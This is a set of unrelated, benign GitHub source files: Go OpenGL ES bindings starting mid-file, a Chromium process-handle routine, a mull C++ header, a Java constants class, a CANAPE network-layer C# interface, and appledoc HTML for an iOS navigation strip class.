return C.glIsProgram(p.c()) != 0 } func IsRenderbuffer(rb Renderbuffer) bool { return C.glIsRenderbuffer(rb.c()) != 0 } func IsShader(s Shader) bool { return C.glIsShader(s.c()) != 0 } func IsTexture(t Texture) bool { return C.glIsTexture(t.c()) != 0 } func LineWidth(width float32) { C.glLineWidth(C.GLfloat(width)) } func LinkProgram(p Program) { C.glLinkProgram(p.c()) } func PixelStorei(pname Enum, param int32) { C.glPixelStorei(pname.c(), C.GLint(param)) } func PolygonOffset(factor, units float32) { C.glPolygonOffset(C.GLfloat(factor), C.GLfloat(units)) } func ReadPixels(dst []byte, x, y, width, height int, format, ty Enum) { C.glReadPixels(C.GLint(x), C.GLint(y), C.GLsizei(width), C.GLsizei(height), format.c(), ty.c(), unsafe.Pointer(&dst[0])) } func ReleaseShaderCompiler() { C.glReleaseShaderCompiler() } func RenderbufferStorage(target, internalFormat Enum, width, height int) { C.glRenderbufferStorage(target.c(), internalFormat.c(), C.GLsizei(width), C.GLsizei(height)) } func SampleCoverage(value float32, invert bool) { sampleCoverage(value, invert) } func Scissor(x, y, width, height int32) { C.glScissor(C.GLint(x), C.GLint(y), C.GLsizei(width), C.GLsizei(height)) } func ShaderSource(s Shader, src string) { str := (*C.GLchar)(C.CString(src)) defer C.free(unsafe.Pointer(str)) C.glShaderSource(s.c(), 1, &str, nil) } func StencilFunc(fn Enum, ref int, mask uint32) { C.glStencilFunc(fn.c(), C.GLint(ref), C.GLuint(mask)) } func StencilFuncSeparate(face, fn Enum, ref int, mask uint32) { C.glStencilFuncSeparate(face.c(), fn.c(), C.GLint(ref), C.GLuint(mask)) } func StencilMask(mask uint32) { C.glStencilMask(C.GLuint(mask)) } func StencilMaskSeparate(face Enum, mask uint32) { C.glStencilMaskSeparate(face.c(), C.GLuint(mask)) } func StencilOp(fail, zfail, zpass Enum) { C.glStencilOp(fail.c(), zfail.c(), zpass.c()) } func StencilOpSeparate(face, sfail, dpfail, dppass Enum) { C.glStencilOpSeparate(face.c(), sfail.c(), dpfail.c(), dppass.c()) } func TexImage2D(target Enum, level int, width, height int, format Enum, ty Enum, data []byte) { p := unsafe.Pointer(nil) if len(data) > 0 { p = unsafe.Pointer(&data[0]) } C.glTexImage2D(target.c(), C.GLint(level), C.GLint(format), C.GLsizei(width), C.GLsizei(height), 0, format.c(), ty.c(), p) } func TexSubImage2D(target Enum, level int, x, y, width, height int, format, ty Enum, data []byte) { C.glTexSubImage2D(target.c(), C.GLint(level), C.GLint(x), C.GLint(y), C.GLsizei(width), C.GLsizei(height), format.c(), ty.c(), unsafe.Pointer(&data[0])) } func TexParameterf(target, pname Enum, param float32) { C.glTexParameterf(target.c(), pname.c(), C.GLfloat(param)) } func TexParameterfv(target, pname Enum, params []float32) { C.glTexParameterfv(target.c(), pname.c(), (*C.GLfloat)(&params[0])) } func TexParameteri(target, pname Enum, param int) { C.glTexParameteri(target.c(), pname.c(), C.GLint(param)) } func TexParameteriv(target, pname Enum, params []int32) { C.glTexParameteriv(target.c(), pname.c(), (*C.GLint)(&params[0])) } func Uniform1f(dst Uniform, v float32) { C.glUniform1f(dst.c(), C.GLfloat(v)) } func Uniform1fv(dst Uniform, src []float32) { C.glUniform1fv(dst.c(), C.GLsizei(len(src)), (*C.GLfloat)(&src[0])) } func Uniform1i(dst Uniform, v int) { C.glUniform1i(dst.c(), C.GLint(v)) } func Uniform1iv(dst Uniform, src []int32) { C.glUniform1iv(dst.c(), C.GLsizei(len(src)), (*C.GLint)(&src[0])) } func Uniform2f(dst Uniform, v0, v1 float32) { C.glUniform2f(dst.c(), C.GLfloat(v0), C.GLfloat(v1)) } func Uniform2fv(dst Uniform, src []float32) { C.glUniform2fv(dst.c(), C.GLsizei(len(src)/2), (*C.GLfloat)(&src[0])) } func Uniform2i(dst Uniform, v0, v1 int) { C.glUniform2i(dst.c(), C.GLint(v0), C.GLint(v1)) } func Uniform2iv(dst Uniform, src []int32) { C.glUniform2iv(dst.c(), C.GLsizei(len(src)/2), (*C.GLint)(&src[0])) } func Uniform3f(dst Uniform, v0, v1, v2 float32) { C.glUniform3f(dst.c(), C.GLfloat(v0), C.GLfloat(v1), C.GLfloat(v2)) } func Uniform3fv(dst Uniform, src []float32) { C.glUniform3fv(dst.c(), C.GLsizei(len(src)/3), (*C.GLfloat)(&src[0])) } func Uniform3i(dst Uniform, v0, v1, v2 int32) { C.glUniform3i(dst.c(), C.GLint(v0), C.GLint(v1), C.GLint(v2)) } func Uniform3iv(dst Uniform, src []int32) { C.glUniform3iv(dst.c(), C.GLsizei(len(src)/3), (*C.GLint)(&src[0])) } func Uniform4f(dst Uniform, v0, v1, v2, v3 float32) { C.glUniform4f(dst.c(), C.GLfloat(v0), C.GLfloat(v1), C.GLfloat(v2), C.GLfloat(v3)) } func Uniform4fv(dst Uniform, src []float32) { C.glUniform4fv(dst.c(), C.GLsizei(len(src)/4), (*C.GLfloat)(&src[0])) } func Uniform4i(dst Uniform, v0, v1, v2, v3 int32) { C.glUniform4i(dst.c(), C.GLint(v0), C.GLint(v1), C.GLint(v2), C.GLint(v3)) } func Uniform4iv(dst Uniform, src []int32) { C.glUniform4iv(dst.c(), C.GLsizei(len(src)/4), (*C.GLint)(&src[0])) } func UniformMatrix2fv(dst Uniform, src []float32) { // OpenGL ES 2 does not support transpose. C.glUniformMatrix2fv(dst.c(), C.GLsizei(len(src)/4), 0, (*C.GLfloat)(&src[0])) } func UniformMatrix3fv(dst Uniform, src []float32) { C.glUniformMatrix3fv(dst.c(), C.GLsizei(len(src)/9), 0, (*C.GLfloat)(&src[0])) } func UniformMatrix4fv(dst Uniform, src []float32) { C.glUniformMatrix4fv(dst.c(), C.GLsizei(len(src)/16), 0, (*C.GLfloat)(&src[0])) } func UseProgram(p Program) { C.glUseProgram(p.c()) } func ValidateProgram(p Program) { C.glValidateProgram(p.c()) } func VertexAttrib1f(dst Attrib, x float32) { C.glVertexAttrib1f(dst.c(), C.GLfloat(x)) } func VertexAttrib1fv(dst Attrib, src []float32) { C.glVertexAttrib1fv(dst.c(), (*C.GLfloat)(&src[0])) } func VertexAttrib2f(dst Attrib, x, y float32) { C.glVertexAttrib2f(dst.c(), C.GLfloat(x), C.GLfloat(y)) } func VertexAttrib2fv(dst Attrib, src []float32) { C.glVertexAttrib2fv(dst.c(), (*C.GLfloat)(&src[0])) } func VertexAttrib3f(dst Attrib, x, y, z float32) { C.glVertexAttrib3f(dst.c(), C.GLfloat(x), C.GLfloat(y), C.GLfloat(z)) } func VertexAttrib3fv(dst Attrib, src []float32) { C.glVertexAttrib3fv(dst.c(), (*C.GLfloat)(&src[0])) } func VertexAttrib4f(dst Attrib, x, y, z, w float32) { C.glVertexAttrib4f(dst.c(), C.GLfloat(x), C.GLfloat(y), C.GLfloat(z), C.GLfloat(w)) } func VertexAttrib4fv(dst Attrib, src []float32) { C.glVertexAttrib4fv(dst.c(), (*C.GLfloat)(&src[0])) } func VertexAttribPointer(dst Attrib, size int, ty Enum, normalized bool, stride, offset int) { n := glBoolean(normalized) s := C.GLsizei(stride) C.glVertexAttribPointer(dst.c(), C.GLint(size), ty.c(), n, s, unsafe.Pointer(uintptr(offset))) } func Viewport(x, y, width, height int) { C.glViewport(C.GLint(x), C.GLint(y), C.GLsizei(width), C.GLsizei(height)) }
{ "pile_set_name": "Github" }
// Copyright (c) 2011 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "base/process/process_handle.h" #include "base/stl_util.h" #include <stddef.h> #include <sys/sysctl.h> #include <sys/types.h> #include <unistd.h> namespace base { ProcessId GetParentProcessId(ProcessHandle process) { struct kinfo_proc info; size_t length; int mib[] = { CTL_KERN, KERN_PROC, KERN_PROC_PID, process, sizeof(struct kinfo_proc), 0 }; if (sysctl(mib, base::size(mib), NULL, &length, NULL, 0) < 0) return -1; mib[5] = (length / sizeof(struct kinfo_proc)); if (sysctl(mib, base::size(mib), &info, &length, NULL, 0) < 0) return -1; return info.p_ppid; } FilePath GetProcessExecutablePath(ProcessHandle process) { struct kinfo_proc kp; size_t len; int mib[] = { CTL_KERN, KERN_PROC, KERN_PROC_PID, process, sizeof(struct kinfo_proc), 0 }; if (sysctl(mib, base::size(mib), NULL, &len, NULL, 0) == -1) return FilePath(); mib[5] = (len / sizeof(struct kinfo_proc)); if (sysctl(mib, base::size(mib), &kp, &len, NULL, 0) < 0) return FilePath(); if ((kp.p_flag & P_SYSTEM) != 0) return FilePath(); if (strcmp(kp.p_comm, "chrome") == 0) return FilePath(kp.p_comm); return FilePath(); } } // namespace base
{ "pile_set_name": "Github" }
#pragma once #include "LLVMCompatibility.h" #include <llvm/ExecutionEngine/Orc/ExecutionUtils.h> namespace mull { class Trampolines; class CXXRuntimeOverrides; class MutationResolver : public llvm_compat::SymbolResolver { public: MutationResolver(CXXRuntimeOverrides &overrides, Trampolines &trampolines); llvm_compat::JITSymbolInfo findSymbol(const std::string &name) override; llvm_compat::JITSymbolInfo findSymbolInLogicalDylib(const std::string &name) override; private: CXXRuntimeOverrides &overrides; Trampolines &trampolines; }; } // namespace mull
{ "pile_set_name": "Github" }
package com.cniao5.utils; /** * 当前类注释:当前类用户SharedPreferences进行save的时候 配置key常量 * 项目名:FastDev4Android * 包名:com.chinaztt.fda.spreference * 作者:江清清 on 15/10/22 09:26 * 邮箱:[email protected] * QQ: 781931404 * 公司:江苏中天科技软件技术有限公司 */ public class SharedPreferencesTag { public static final String DEMO_KEY="demo_key"; }
{ "pile_set_name": "Github" }
// CANAPE Core Network Testing Library // Copyright (C) 2017 James Forshaw // Based in part on CANAPE Network Testing Tool // Copyright (C) 2014 Context Information Security // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. using CANAPE.DataAdapters; using CANAPE.Utils; using CANAPE.Nodes; using CANAPE.Net.Tokens; namespace CANAPE.Net.Layers { /// <summary> /// An interface to describe a network layer negotiator /// </summary> public interface INetworkLayer { /// <summary> /// Method to negotiate the layer /// </summary> /// <param name="server">Reference to the server adapter, can change the adapter</param> /// <param name="client">Reference to the client adapter, can change the adapter</param> /// <param name="token">A token which is associated with this connection</param> /// <param name="logger">Logger object</param> /// <param name="globalMeta">Global meta dictionary</param> /// <param name="meta">Meta dictionary</param> /// <param name="properties">The property bag to add any connection information to</param> /// <param name="defaultBinding">Indicates the current default binding mode, layers are free to ignore (at their peril)</param> void Negotiate(ref IDataAdapter server, ref IDataAdapter client, ProxyToken token, Logger logger, MetaDictionary meta, MetaDictionary globalMeta, PropertyBag properties, NetworkLayerBinding defaultBinding); /// <summary> /// The binding mode for the layer if different from default /// </summary> NetworkLayerBinding Binding { get; set; } } }
{ "pile_set_name": "Github" }
<!DOCTYPE HTML> <html> <head> <meta http-equiv="Content-Type" content="html/html; charset=utf-8" /> <title>TSNavigationStripComponent Class Reference</title> <meta id="xcode-display" name="xcode-display" content="render"/> <link rel="stylesheet" type="text/css" href="../css/styles.css" media="all" /> <link rel="stylesheet" type="text/css" media="print" href="../css/stylesPrint.css" /> <meta name="generator" content="appledoc 2.1 (build 858)" /> </head> <body> <header id="top_header"> <div id="library" class="hideInXcode"> <h1><a id="libraryTitle" href="../index.html">TSUIKit </a></h1> <a id="developerHome" href="../index.html">Viacheslav Radchenko</a> </div> <div id="title" role="banner"> <h1 class="hideInXcode">TSNavigationStripComponent Class Reference</h1> </div> <ul id="headerButtons" role="toolbar"> <li id="toc_button"> <button aria-label="Show Table of Contents" role="checkbox" class="open" id="table_of_contents"><span class="disclosure"></span>Table of Contents</button> </li> <li id="jumpto_button" role="navigation"> <select id="jumpTo"> <option value="top">Jump To&#133;</option> <option value="overview">Overview</option> <option value="tasks">Tasks</option> <option value="properties">Properties</option> <option value="//api/name/backgroundColor">&nbsp;&nbsp;&nbsp;&nbsp;backgroundColor</option> <option value="//api/name/backgroundImage">&nbsp;&nbsp;&nbsp;&nbsp;backgroundImage</option> <option value="//api/name/color">&nbsp;&nbsp;&nbsp;&nbsp;color</option> <option value="//api/name/font">&nbsp;&nbsp;&nbsp;&nbsp;font</option> <option value="//api/name/icon">&nbsp;&nbsp;&nbsp;&nbsp;icon</option> <option value="//api/name/selectedBackgroundColor">&nbsp;&nbsp;&nbsp;&nbsp;selectedBackgroundColor</option> <option value="//api/name/selectedBackgroundImage">&nbsp;&nbsp;&nbsp;&nbsp;selectedBackgroundImage</option> <option value="//api/name/selectedColor">&nbsp;&nbsp;&nbsp;&nbsp;selectedColor</option> <option value="//api/name/selectedFont">&nbsp;&nbsp;&nbsp;&nbsp;selectedFont</option> <option value="//api/name/selectedIcon">&nbsp;&nbsp;&nbsp;&nbsp;selectedIcon</option> <option value="//api/name/selectedTitle">&nbsp;&nbsp;&nbsp;&nbsp;selectedTitle</option> <option value="//api/name/shadowColor">&nbsp;&nbsp;&nbsp;&nbsp;shadowColor</option> <option value="//api/name/shadowOffset">&nbsp;&nbsp;&nbsp;&nbsp;shadowOffset</option> <option value="//api/name/title">&nbsp;&nbsp;&nbsp;&nbsp;title</option> <option value="instance_methods">Instance Methods</option> <option value="//api/name/initWithDictionary:">&nbsp;&nbsp;&nbsp;&nbsp;- initWithDictionary:</option> <option value="//api/name/initWithTitle:">&nbsp;&nbsp;&nbsp;&nbsp;- initWithTitle:</option> </select> </li> </ul> </header> <nav id="tocContainer" class="isShowingTOC"> <ul id="toc" role="tree"> <li role="treeitem"><span class="nodisclosure"></span><span class="sectionName"><a href="#overview">Overview</a></span></li> <li role="treeitem" id="task_treeitem"><span class="nodisclosure"></span><span class="sectionName"><a href="#tasks">Tasks</a></span><ul> </ul></li> <li role="treeitem" class="children"><span class="disclosure"></span><span class="sectionName"><a href="#properties">Properties</a></span><ul> <li><span class="nodisclosure"></span><span class="sectionName"><a href="#//api/name/backgroundColor">backgroundColor</a></span></li> <li><span class="nodisclosure"></span><span class="sectionName"><a href="#//api/name/backgroundImage">backgroundImage</a></span></li> <li><span class="nodisclosure"></span><span class="sectionName"><a href="#//api/name/color">color</a></span></li> <li><span class="nodisclosure"></span><span class="sectionName"><a href="#//api/name/font">font</a></span></li> <li><span class="nodisclosure"></span><span class="sectionName"><a href="#//api/name/icon">icon</a></span></li> <li><span class="nodisclosure"></span><span class="sectionName"><a href="#//api/name/selectedBackgroundColor">selectedBackgroundColor</a></span></li> <li><span class="nodisclosure"></span><span class="sectionName"><a href="#//api/name/selectedBackgroundImage">selectedBackgroundImage</a></span></li> <li><span class="nodisclosure"></span><span class="sectionName"><a href="#//api/name/selectedColor">selectedColor</a></span></li> <li><span class="nodisclosure"></span><span class="sectionName"><a href="#//api/name/selectedFont">selectedFont</a></span></li> <li><span class="nodisclosure"></span><span class="sectionName"><a href="#//api/name/selectedIcon">selectedIcon</a></span></li> <li><span class="nodisclosure"></span><span class="sectionName"><a href="#//api/name/selectedTitle">selectedTitle</a></span></li> <li><span class="nodisclosure"></span><span class="sectionName"><a href="#//api/name/shadowColor">shadowColor</a></span></li> <li><span class="nodisclosure"></span><span class="sectionName"><a href="#//api/name/shadowOffset">shadowOffset</a></span></li> <li><span class="nodisclosure"></span><span class="sectionName"><a href="#//api/name/title">title</a></span></li> </ul></li> <li role="treeitem" class="children"><span class="disclosure"></span><span class="sectionName"><a href="#instance_methods">Instance Methods</a></span><ul> <li><span class="nodisclosure"></span><span class="sectionName"><a href="#//api/name/initWithDictionary:">initWithDictionary:</a></span></li> <li><span class="nodisclosure"></span><span class="sectionName"><a href="#//api/name/initWithTitle:">initWithTitle:</a></span></li> </ul></li> </ul> </nav> <article> <div id="contents" class="isShowingTOC" role="main"> <a title="TSNavigationStripComponent Class Reference" name="top"></a> <div class="main-navigation navigation-top"> <ul> <li><a href="../index.html">Index</a></li> <li><a href="../hierarchy.html">Hierarchy</a></li> </ul> </div> <div id="header"> <div class="section-header"> <h1 class="title title-header">TSNavigationStripComponent Class Reference</h1> </div> </div> <div id="container"> <div class="section section-specification"><table cellspacing="0"><tbody> <tr> <td class="specification-title">Inherits from</td> <td class="specification-value">NSObject</td> </tr><tr> <td class="specification-title">Declared in</td> <td class="specification-value">TSNavigationStripModel.h</td> </tr> </tbody></table></div> <div class="section section-overview"> <a title="Overview" name="overview"></a> <h2 class="subtitle subtitle-overview">Overview</h2> <p>TSNavigationStripComponent provides content and appearance information for TSNavigationStripView&rsquo;s section or item.</p> </div> <div class="section section-tasks"> <a title="Tasks" name="tasks"></a> <h2 class="subtitle subtitle-tasks">Tasks</h2> <ul class="task-list"> <li> <span class="tooltip"> <code><a href="#//api/name/title">&nbsp;&nbsp;title</a></code> </span> <span class="task-item-suffix">property</span> </li><li> <span class="tooltip"> <code><a href="#//api/name/selectedTitle">&nbsp;&nbsp;selectedTitle</a></code> </span> <span class="task-item-suffix">property</span> </li><li> <span class="tooltip"> <code><a href="#//api/name/icon">&nbsp;&nbsp;icon</a></code> </span> <span class="task-item-suffix">property</span> </li><li> <span class="tooltip"> <code><a href="#//api/name/selectedIcon">&nbsp;&nbsp;selectedIcon</a></code> </span> <span class="task-item-suffix">property</span> </li><li> <span class="tooltip"> <code><a href="#//api/name/backgroundImage">&nbsp;&nbsp;backgroundImage</a></code> </span> <span class="task-item-suffix">property</span> </li><li> <span class="tooltip"> <code><a href="#//api/name/selectedBackgroundImage">&nbsp;&nbsp;selectedBackgroundImage</a></code> </span> <span class="task-item-suffix">property</span> </li><li> <span class="tooltip"> <code><a href="#//api/name/font">&nbsp;&nbsp;font</a></code> </span> <span class="task-item-suffix">property</span> </li><li> <span class="tooltip"> <code><a href="#//api/name/selectedFont">&nbsp;&nbsp;selectedFont</a></code> </span> <span class="task-item-suffix">property</span> </li><li> <span class="tooltip"> <code><a href="#//api/name/color">&nbsp;&nbsp;color</a></code> </span> <span class="task-item-suffix">property</span> </li><li> <span class="tooltip"> <code><a href="#//api/name/selectedColor">&nbsp;&nbsp;selectedColor</a></code> </span> <span class="task-item-suffix">property</span> </li><li> <span class="tooltip"> <code><a href="#//api/name/backgroundColor">&nbsp;&nbsp;backgroundColor</a></code> </span> <span class="task-item-suffix">property</span> </li><li> <span class="tooltip"> <code><a href="#//api/name/selectedBackgroundColor">&nbsp;&nbsp;selectedBackgroundColor</a></code> </span> <span class="task-item-suffix">property</span> </li><li> <span class="tooltip"> <code><a href="#//api/name/shadowColor">&nbsp;&nbsp;shadowColor</a></code> </span> <span class="task-item-suffix">property</span> </li><li> <span class="tooltip"> <code><a href="#//api/name/shadowOffset">&nbsp;&nbsp;shadowOffset</a></code> </span> <span class="task-item-suffix">property</span> </li><li> <span class="tooltip"> <code><a href="#//api/name/initWithTitle:">&ndash;&nbsp;initWithTitle:</a></code> </span> </li><li> <span class="tooltip"> <code><a href="#//api/name/initWithDictionary:">&ndash;&nbsp;initWithDictionary:</a></code> </span> </li> </ul> </div> <div class="section section-methods"> <a title="Properties" name="properties"></a> <h2 class="subtitle subtitle-methods">Properties</h2> <div class="section-method"> <a name="//api/name/backgroundColor" title="backgroundColor"></a> <h3 class="subsubtitle method-title">backgroundColor</h3> <div class="method-subsection brief-description"> <p>Background color which is used when section isn&rsquo;t selected. Default is [UIColor clearColor].</p> </div> <div class="method-subsection method-declaration"><code>@property (nonatomic, strong) UIColor *backgroundColor</code></div> <div class="method-subsection declared-in-section"> <h4 class="method-subtitle">Declared In</h4> <code class="declared-in-ref">TSNavigationStripModel.h</code><br /> </div> </div> <div class="section-method"> <a name="//api/name/backgroundImage" title="backgroundImage"></a> <h3 class="subsubtitle method-title">backgroundImage</h3> <div class="method-subsection brief-description"> <p>Background image which is displaying in TSNavigationStrip when section isn&rsquo;t selected. Optional.</p> </div> <div class="method-subsection method-declaration"><code>@property (nonatomic, strong) UIImage *backgroundImage</code></div> <div class="method-subsection declared-in-section"> <h4 class="method-subtitle">Declared In</h4> <code class="declared-in-ref">TSNavigationStripModel.h</code><br /> </div> </div> <div class="section-method"> <a name="//api/name/color" title="color"></a> <h3 class="subsubtitle method-title">color</h3> <div class="method-subsection brief-description"> <p>Text color which is used when section isn&rsquo;t selected. Default is [UIColor darkGrayColor].</p> </div> <div class="method-subsection method-declaration"><code>@property (nonatomic, strong) UIColor *color</code></div> <div class="method-subsection declared-in-section"> <h4 class="method-subtitle">Declared In</h4> <code class="declared-in-ref">TSNavigationStripModel.h</code><br /> </div> </div> <div class="section-method"> <a name="//api/name/font" title="font"></a> <h3 class="subsubtitle method-title">font</h3> <div class="method-subsection brief-description"> <p>Font which is used when section is selected. Default is [UIFont systemFontOfSize:15.0f].</p> </div> <div class="method-subsection method-declaration"><code>@property (nonatomic, strong) UIFont *font</code></div> <div class="method-subsection declared-in-section"> <h4 class="method-subtitle">Declared In</h4> <code class="declared-in-ref">TSNavigationStripModel.h</code><br /> </div> </div> <div class="section-method"> <a name="//api/name/icon" title="icon"></a> <h3 class="subsubtitle method-title">icon</h3> <div class="method-subsection brief-description"> <p>Icon image which is displaying in TSNavigationStrip when section isn&rsquo;t selected. Optional.</p> </div> <div class="method-subsection method-declaration"><code>@property (nonatomic, strong) UIImage *icon</code></div> <div class="method-subsection declared-in-section"> <h4 class="method-subtitle">Declared In</h4> <code class="declared-in-ref">TSNavigationStripModel.h</code><br /> </div> </div> <div class="section-method"> <a name="//api/name/selectedBackgroundColor" title="selectedBackgroundColor"></a> <h3 class="subsubtitle method-title">selectedBackgroundColor</h3> <div class="method-subsection brief-description"> <p>Background color which is used when section is selected. Default is [UIColor clearColor].</p> </div> <div class="method-subsection method-declaration"><code>@property (nonatomic, strong) UIColor *selectedBackgroundColor</code></div> <div class="method-subsection declared-in-section"> <h4 class="method-subtitle">Declared In</h4> <code class="declared-in-ref">TSNavigationStripModel.h</code><br /> </div> </div> <div class="section-method"> <a name="//api/name/selectedBackgroundImage" title="selectedBackgroundImage"></a> <h3 class="subsubtitle method-title">selectedBackgroundImage</h3> <div class="method-subsection brief-description"> <p>Background image which is displaying in TSNavigationStrip when section is selected. Optional.</p> </div> <div class="method-subsection method-declaration"><code>@property (nonatomic, strong) UIImage *selectedBackgroundImage</code></div> <div class="method-subsection declared-in-section"> <h4 class="method-subtitle">Declared In</h4> <code class="declared-in-ref">TSNavigationStripModel.h</code><br /> </div> </div> <div class="section-method"> <a name="//api/name/selectedColor" title="selectedColor"></a> <h3 class="subsubtitle method-title">selectedColor</h3> <div class="method-subsection brief-description"> <p>Text color which is used when section is selected. Default is [UIColor blackColor].</p> </div> <div class="method-subsection method-declaration"><code>@property (nonatomic, strong) UIColor *selectedColor</code></div> <div class="method-subsection declared-in-section"> <h4 class="method-subtitle">Declared In</h4> <code class="declared-in-ref">TSNavigationStripModel.h</code><br /> </div> </div> <div class="section-method"> <a name="//api/name/selectedFont" title="selectedFont"></a> <h3 class="subsubtitle method-title">selectedFont</h3> <div class="method-subsection brief-description"> <p>Font which is used when section isn&rsquo;t selected. Default is [UIFont boldSystemFontOfSize:15.0f].</p> </div> <div class="method-subsection method-declaration"><code>@property (nonatomic, strong) UIFont *selectedFont</code></div> <div class="method-subsection declared-in-section"> <h4 class="method-subtitle">Declared In</h4> <code class="declared-in-ref">TSNavigationStripModel.h</code><br /> </div> </div> <div class="section-method"> <a name="//api/name/selectedIcon" title="selectedIcon"></a> <h3 class="subsubtitle method-title">selectedIcon</h3> <div class="method-subsection brief-description"> <p>Icon image which is displaying in TSNavigationStrip when section is selected. Optional.</p> </div> <div class="method-subsection method-declaration"><code>@property (nonatomic, strong) UIImage *selectedIcon</code></div> <div class="method-subsection declared-in-section"> <h4 class="method-subtitle">Declared In</h4> <code class="declared-in-ref">TSNavigationStripModel.h</code><br /> </div> </div> <div class="section-method"> <a name="//api/name/selectedTitle" title="selectedTitle"></a> <h3 class="subsubtitle method-title">selectedTitle</h3> <div class="method-subsection brief-description"> <p>Title string which is displaying in TSNavigationStrip when section is selected. Optional, if nil <a href="#//api/name/title">title</a> is used.</p> </div> <div class="method-subsection method-declaration"><code>@property (nonatomic, strong) NSString *selectedTitle</code></div> <div class="method-subsection declared-in-section"> <h4 class="method-subtitle">Declared In</h4> <code class="declared-in-ref">TSNavigationStripModel.h</code><br /> </div> </div> <div class="section-method"> <a name="//api/name/shadowColor" title="shadowColor"></a> <h3 class="subsubtitle method-title">shadowColor</h3> <div class="method-subsection brief-description"> <p>Text shadow color. Default is [UIColor clearColor].</p> </div> <div class="method-subsection method-declaration"><code>@property (nonatomic, strong) UIColor *shadowColor</code></div> <div class="method-subsection declared-in-section"> <h4 class="method-subtitle">Declared In</h4> <code class="declared-in-ref">TSNavigationStripModel.h</code><br /> </div> </div> <div class="section-method"> <a name="//api/name/shadowOffset" title="shadowOffset"></a> <h3 class="subsubtitle method-title">shadowOffset</h3> <div class="method-subsection brief-description"> <p>Text shadow offset. Default is CGSizeZero.</p> </div> <div class="method-subsection method-declaration"><code>@property (nonatomic, assign) CGSize shadowOffset</code></div> <div class="method-subsection declared-in-section"> <h4 class="method-subtitle">Declared In</h4> <code class="declared-in-ref">TSNavigationStripModel.h</code><br /> </div> </div> <div class="section-method"> <a name="//api/name/title" title="title"></a> <h3 class="subsubtitle method-title">title</h3> <div class="method-subsection brief-description"> <p>Title string which is displaying in TSNavigationStrip when section isn&rsquo;t selected.</p> </div> <div class="method-subsection method-declaration"><code>@property (nonatomic, strong) NSString *title</code></div> <div class="method-subsection declared-in-section"> <h4 class="method-subtitle">Declared In</h4> <code class="declared-in-ref">TSNavigationStripModel.h</code><br /> </div> </div> </div> <div class="section section-methods"> <a title="Instance Methods" name="instance_methods"></a> <h2 class="subtitle subtitle-methods">Instance Methods</h2> <div class="section-method"> <a name="//api/name/initWithDictionary:" title="initWithDictionary:"></a> <h3 class="subsubtitle method-title">initWithDictionary:</h3> <div class="method-subsection brief-description"> <p>Initialize TSNavigationStripComponent with dictionary.</p> </div> <div class="method-subsection method-declaration"><code>- (id)initWithDictionary:(NSDictionary *)<em>info</em></code></div> <div class="method-subsection arguments-section parameters"> <h4 class="method-subtitle parameter-title">Parameters</h4> <dl class="argument-def parameter-def"> <dt><em>info</em></dt> <dd><p>Dictionary with values for named properties.</p></dd> </dl> </div> <div class="method-subsection declared-in-section"> <h4 class="method-subtitle">Declared In</h4> <code class="declared-in-ref">TSNavigationStripModel.h</code><br /> </div> </div> <div class="section-method"> <a name="//api/name/initWithTitle:" title="initWithTitle:"></a> <h3 class="subsubtitle method-title">initWithTitle:</h3> <div class="method-subsection brief-description"> <p>Initialize TSNavigationStripComponent with section <a href="#//api/name/title">title</a></p> </div> <div class="method-subsection method-declaration"><code>- (id)initWithTitle:(NSString *)<em>title</em></code></div> <div class="method-subsection arguments-section parameters"> <h4 class="method-subtitle parameter-title">Parameters</h4> <dl class="argument-def parameter-def"> <dt><em>title</em></dt> <dd><p>Section <a href="#//api/name/title">title</a>.</p></dd> </dl> </div> <div class="method-subsection declared-in-section"> <h4 class="method-subtitle">Declared In</h4> <code class="declared-in-ref">TSNavigationStripModel.h</code><br /> </div> </div> </div> </div> <div class="main-navigation navigation-bottom"> <ul> <li><a href="../index.html">Index</a></li> <li><a href="../hierarchy.html">Hierarchy</a></li> </ul> </div> <div id="footer"> <hr /> <div class="footer-copyright"> <p><span class="copyright">&copy; 2013 Viacheslav Radchenko. All rights reserved. (Last updated: 2013-08-31)</span><br /> <span class="generator">Generated by <a href="http://appledoc.gentlebytes.com">appledoc 2.1 (build 858)</a>.</span></p> </div> </div> </div> </article> <script type="text/javascript"> function jumpToChange() { window.location.hash = this.options[this.selectedIndex].value; } function toggleTOC() { var contents = document.getElementById('contents'); var tocContainer = document.getElementById('tocContainer'); if (this.getAttribute('class') == 'open') { this.setAttribute('class', ''); contents.setAttribute('class', ''); tocContainer.setAttribute('class', ''); window.name = "hideTOC"; } else { this.setAttribute('class', 'open'); contents.setAttribute('class', 'isShowingTOC'); tocContainer.setAttribute('class', 'isShowingTOC'); window.name = ""; } return false; } function toggleTOCEntryChildren(e) { e.stopPropagation(); var currentClass = this.getAttribute('class'); if (currentClass == 'children') { this.setAttribute('class', 'children open'); } else if (currentClass == 'children open') { this.setAttribute('class', 'children'); } return false; } function tocEntryClick(e) { e.stopPropagation(); return true; } function init() { var selectElement = document.getElementById('jumpTo'); selectElement.addEventListener('change', jumpToChange, false); var tocButton = document.getElementById('table_of_contents'); tocButton.addEventListener('click', toggleTOC, false); var taskTreeItem = document.getElementById('task_treeitem'); if (taskTreeItem.getElementsByTagName('li').length > 0) { taskTreeItem.setAttribute('class', 'children'); taskTreeItem.firstChild.setAttribute('class', 'disclosure'); } var tocList = document.getElementById('toc'); var tocEntries = tocList.getElementsByTagName('li'); for (var i = 0; i < tocEntries.length; i++) { tocEntries[i].addEventListener('click', toggleTOCEntryChildren, false); } var tocLinks = tocList.getElementsByTagName('a'); for (var i = 0; i < tocLinks.length; i++) { tocLinks[i].addEventListener('click', tocEntryClick, false); } if (window.name == "hideTOC") { toggleTOC.call(tocButton); } } window.onload = init; // If showing in Xcode, hide the TOC and Header if (navigator.userAgent.match(/xcode/i)) { document.getElementById("contents").className = "hideInXcode" document.getElementById("tocContainer").className = "hideInXcode" document.getElementById("top_header").className = "hideInXcode" } </script> </body> </html>
{ "pile_set_name": "Github" }
